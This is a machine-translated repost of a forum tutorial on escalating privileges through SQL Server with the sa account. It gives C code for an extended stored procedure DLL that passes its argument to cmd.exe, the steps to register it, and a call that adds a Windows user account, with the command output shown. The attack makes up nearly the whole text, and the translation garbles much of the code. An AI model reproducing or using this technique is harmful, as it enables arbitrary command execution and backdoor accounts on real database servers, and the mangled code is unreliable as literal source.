Xp_hello.dll (sa) Elevation of Privilege

Source: Internet
Author: User

Source: Freezing Point Forum February

Main Code:

Create a stored procedure project in VC6 and write the following code In proc. cpp:

# Include <stdafx. h>

# Include <shellapi. h>

# Define XP_NOERROR 0

# Define XP_ERROR 1

# Define MAXCOLNAME 25

# Define MAXNAME 25

# Define MAXTEXT 255

# Ifdef _ cplusplus

Extern "C "{

# Endif

RETCODE _ declspec (dllexport) xp_hello (SRV_PROC * srvproc );

# Ifdef _ cplusplus

}

# Endif

RETCODE _ declspec (dllexport) xp_hello (SRV_PROC * srvproc)

{

********* ****************

Because of my bad character, there is no srv_paraminfo function in the library,

The old-fashioned srv_paramdata

**************************************** *********************/

Int bufLen;

DBCHAR spName [MAXNAME];

DBCHAR spText [MAXTEXT];

DBCHAR spBuf [MAXTEXT];

Unsigned char limit line [255] = "";

If (srv_rpcparams (srvproc )! = 1) return XP_ERROR; // judge the parameter. If the parameter is not 1, exit immediately.

BufLen = srv_paramlen (srvproc, 1 );

If (! BufLen) return XP_ERROR;

Wsprintf (spBuf, (DBCHAR *) srv_paramdata (srvproc, 1); spBuf [bufLen] = ''; // obtain the value of the first parameter

Wsprintf (spName, "xp_hello ");

Wsprintf (spText, "% s Run command: [% s] MSN: ylbhz@hotmail.com", spName, spBuf );

Srv_sendmsg (srvproc, SRV_MSG_INFO, 0, (DBTINYINT) 0, (DBTINYINT) 0, NULL, spText, SRV_NULLTERM); // send a message

Wsprintf (char *) using line, "/c % s", spBuf); // Constructor

Shellexecute(0,20.open.pdf, cmd.exe ", (char *) using line, NULL, SW_SHOW); // execute the command

Return XP_NOERROR;

}


Compile and generate xp_hello.dll

Connect to SQL Server using SA for execution

Dbcc addextendedproc ('xp _ hello', c: xp_hello.dll ');

Call

Exec xp_hello 'net user fuck/add ';

In this way, a fuck account is added to the system.

C: Documents and SettingsAdministrator Desktop \ CDebug> net user

\ PC-200910151119 User Account

--------------------------
Administrator ASPNET fuck
Guest HelpAssistant IUSR_PC-200910151119
IWAM_PC-200910151119 SQLDebugger SUPPORT_388945a0
VUSR_PC-200910151119
Command completed successfully

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.